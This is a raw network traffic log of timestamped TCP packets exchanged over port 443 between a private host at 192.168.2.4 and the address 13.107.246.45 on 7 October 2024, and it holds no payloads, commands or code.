Oct 7, 2024 18:44:39.341720104 CEST	443	53873	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.341794968 CEST	443	53873	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.341907024 CEST	443	53873	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.341959953 CEST	53873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.342024088 CEST	53873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.342024088 CEST	53873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.342058897 CEST	53873	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.342094898 CEST	443	53873	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.344315052 CEST	53880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.344369888 CEST	443	53880	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.344439030 CEST	53880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.344568968 CEST	53880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.344590902 CEST	443	53880	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.808635950 CEST	443	53876	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.809348106 CEST	53876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.809448004 CEST	443	53876	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.809775114 CEST	53876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.809789896 CEST	443	53876	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.904953957 CEST	443	53876	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.905042887 CEST	443	53876	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.905185938 CEST	53876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.905443907 CEST	53876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.905483007 CEST	443	53876	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.905509949 CEST	53876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.905524969 CEST	443	53876	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.908335924 CEST	53881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.908431053 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.908551931 CEST	53881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.908687115 CEST	53881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.908709049 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.911246061 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.912218094 CEST	53877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.912236929 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.912683964 CEST	53877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.912691116 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.915693998 CEST	443	53878	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.921351910 CEST	53878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.921361923 CEST	443	53878	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.921962976 CEST	53878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.921968937 CEST	443	53878	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.990720987 CEST	443	53880	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.992198944 CEST	53880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.992237091 CEST	443	53880	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.992541075 CEST	53880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.992548943 CEST	443	53880	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.998106003 CEST	443	53879	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.998765945 CEST	53879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.998826027 CEST	443	53879	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:39.999248981 CEST	53879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:39.999264002 CEST	443	53879	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.012135983 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.012207031 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.012271881 CEST	53877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.012288094 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.012320995 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.012375116 CEST	53877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.012566090 CEST	53877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.012586117 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.012598038 CEST	53877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.012604952 CEST	443	53877	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.016002893 CEST	53882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.016098976 CEST	443	53882	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.016275883 CEST	53882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.016500950 CEST	53882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.016535997 CEST	443	53882	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.018565893 CEST	443	53878	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.018723011 CEST	443	53878	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.018815041 CEST	53878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.018837929 CEST	53878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.018845081 CEST	443	53878	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.018887997 CEST	53878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.018893957 CEST	443	53878	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.021841049 CEST	53883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.021938086 CEST	443	53883	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.022028923 CEST	53883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.022133112 CEST	53883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.022160053 CEST	443	53883	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.089162111 CEST	443	53880	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.089318991 CEST	443	53880	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.089478016 CEST	53880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.089509010 CEST	53880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.089529991 CEST	443	53880	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.089545965 CEST	53880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.089554071 CEST	443	53880	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.092468023 CEST	53884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.092506886 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.092571974 CEST	53884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.092700958 CEST	53884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.092716932 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.109663963 CEST	443	53879	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.109810114 CEST	443	53879	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.109911919 CEST	53879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.109988928 CEST	53879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.110029936 CEST	443	53879	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.110069036 CEST	53879	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.110085964 CEST	443	53879	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.112487078 CEST	53885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.112546921 CEST	443	53885	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.112682104 CEST	53885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.112796068 CEST	53885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.112813950 CEST	443	53885	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.554104090 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.554688931 CEST	53881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.554733038 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.555169106 CEST	53881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.555177927 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.679733038 CEST	443	53883	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.680402040 CEST	53883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.680454016 CEST	443	53883	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.680789948 CEST	53883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.680799007 CEST	443	53883	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.689970016 CEST	443	53882	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.690454960 CEST	53882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.690524101 CEST	443	53882	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.690960884 CEST	53882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.690975904 CEST	443	53882	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.782727957 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.782771111 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.782835960 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.782846928 CEST	53881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.782943964 CEST	53881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.783081055 CEST	53881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.783132076 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.783165932 CEST	53881	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.783181906 CEST	443	53881	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.786483049 CEST	53886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.786524057 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.786592007 CEST	53886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.787065029 CEST	53886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.787074089 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.841507912 CEST	443	53885	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.842099905 CEST	53885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.842111111 CEST	443	53885	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.842607975 CEST	53885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.842612028 CEST	443	53885	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.857765913 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.858174086 CEST	53884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.858191013 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.858611107 CEST	53884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.858618975 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.879312992 CEST	443	53883	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.879362106 CEST	443	53883	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.879417896 CEST	53883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.879621029 CEST	53883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.879647017 CEST	443	53883	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.879679918 CEST	53883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.879708052 CEST	443	53883	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.883025885 CEST	53887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.883058071 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.883122921 CEST	53887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.883239985 CEST	53887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.883254051 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.884542942 CEST	443	53882	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.884715080 CEST	443	53882	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.884782076 CEST	53882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.884871006 CEST	53882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.884871006 CEST	53882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.884917974 CEST	443	53882	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.884948015 CEST	443	53882	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.887130976 CEST	53888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.887172937 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.887233019 CEST	53888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.887367010 CEST	53888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.887382030 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.938874006 CEST	443	53885	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.938946962 CEST	443	53885	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.938994884 CEST	53885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.939219952 CEST	53885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.939238071 CEST	443	53885	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.939250946 CEST	53885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.939256907 CEST	443	53885	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.942579985 CEST	53889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.942637920 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.942711115 CEST	53889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.942900896 CEST	53889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.942934036 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.956711054 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.956773043 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.956824064 CEST	53884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.956844091 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.957077980 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.957120895 CEST	53884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.957144976 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.957158089 CEST	53884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.957158089 CEST	53884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.957165003 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.957171917 CEST	443	53884	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.963541031 CEST	53890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.963598013 CEST	443	53890	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:40.963681936 CEST	53890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.963968039 CEST	53890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:40.963989973 CEST	443	53890	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.418112040 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.418768883 CEST	53886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.418790102 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.419425011 CEST	53886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.419435024 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.509726048 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.513919115 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.513946056 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.514106035 CEST	53888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.514142990 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.514197111 CEST	53886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.514210939 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.514282942 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.514393091 CEST	53886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.514414072 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.514425993 CEST	53886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.514432907 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.514442921 CEST	53886	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.514446020 CEST	443	53886	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.514733076 CEST	53888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.514740944 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.517627954 CEST	53891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.517658949 CEST	443	53891	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.519187927 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.519279003 CEST	53891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.519438982 CEST	53891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.519453049 CEST	443	53891	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.519567966 CEST	53887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.519592047 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.520098925 CEST	53887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.520107031 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.545480967 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.547921896 CEST	53889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.547957897 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.548343897 CEST	53889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.548350096 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.626189947 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.626243114 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.626369953 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.626513958 CEST	53888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.626785994 CEST	53888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.626801014 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.626811981 CEST	53888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.626817942 CEST	443	53888	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.628173113 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.628192902 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.628237009 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.628309965 CEST	53887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.628614902 CEST	53887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.628635883 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.628648043 CEST	53887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.628653049 CEST	443	53887	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.632460117 CEST	443	53890	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.632467985 CEST	53892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.632503986 CEST	443	53892	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.632587910 CEST	53892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.633132935 CEST	53893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.633173943 CEST	443	53893	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.633446932 CEST	53890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.633472919 CEST	53893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.633506060 CEST	443	53890	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.633932114 CEST	53890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.633945942 CEST	443	53890	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.634066105 CEST	53892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.634083033 CEST	443	53892	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.634169102 CEST	53893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.634181023 CEST	443	53893	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.640120029 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.640140057 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.640583038 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.640676975 CEST	53889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.641439915 CEST	53889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.641439915 CEST	53889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.641474962 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.641496897 CEST	443	53889	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.643959999 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.643968105 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.648528099 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.648708105 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.648716927 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.749903917 CEST	443	53890	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.750077009 CEST	443	53890	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.750220060 CEST	53890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.750344992 CEST	53890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.750394106 CEST	443	53890	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.750430107 CEST	53890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.750447989 CEST	443	53890	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.753968954 CEST	53895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.754038095 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:41.754201889 CEST	53895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.754417896 CEST	53895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:41.754451990 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.271541119 CEST	443	53891	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.272361040 CEST	53891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.272397995 CEST	443	53891	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.273005009 CEST	53891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.273015976 CEST	443	53891	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.356374025 CEST	443	53893	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.357431889 CEST	443	53892	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.359719038 CEST	53893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.359750032 CEST	443	53893	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.360348940 CEST	53893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.360353947 CEST	443	53893	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.360692024 CEST	53892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.360707998 CEST	443	53892	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.361064911 CEST	53892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.361069918 CEST	443	53892	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.369721889 CEST	443	53891	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.369802952 CEST	443	53891	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.369853973 CEST	53891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.372865915 CEST	53891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.372894049 CEST	443	53891	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.372909069 CEST	53891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.372916937 CEST	443	53891	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.376586914 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.376641989 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.376746893 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.376904964 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.376919031 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.454612017 CEST	443	53893	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.454670906 CEST	443	53893	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.454826117 CEST	53893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.455044031 CEST	53893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.455056906 CEST	443	53892	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.455070019 CEST	443	53893	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.455095053 CEST	53893	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.455101013 CEST	443	53893	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.455132008 CEST	443	53892	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.455202103 CEST	53892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.455501080 CEST	53892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.455538988 CEST	443	53892	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.455569029 CEST	53892	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.455584049 CEST	443	53892	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.459290981 CEST	53897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.459332943 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.459342957 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.459352016 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.459395885 CEST	53897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.459424019 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.459666967 CEST	53897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.459680080 CEST	443	53897	13.107.246.45	192.168.2.4
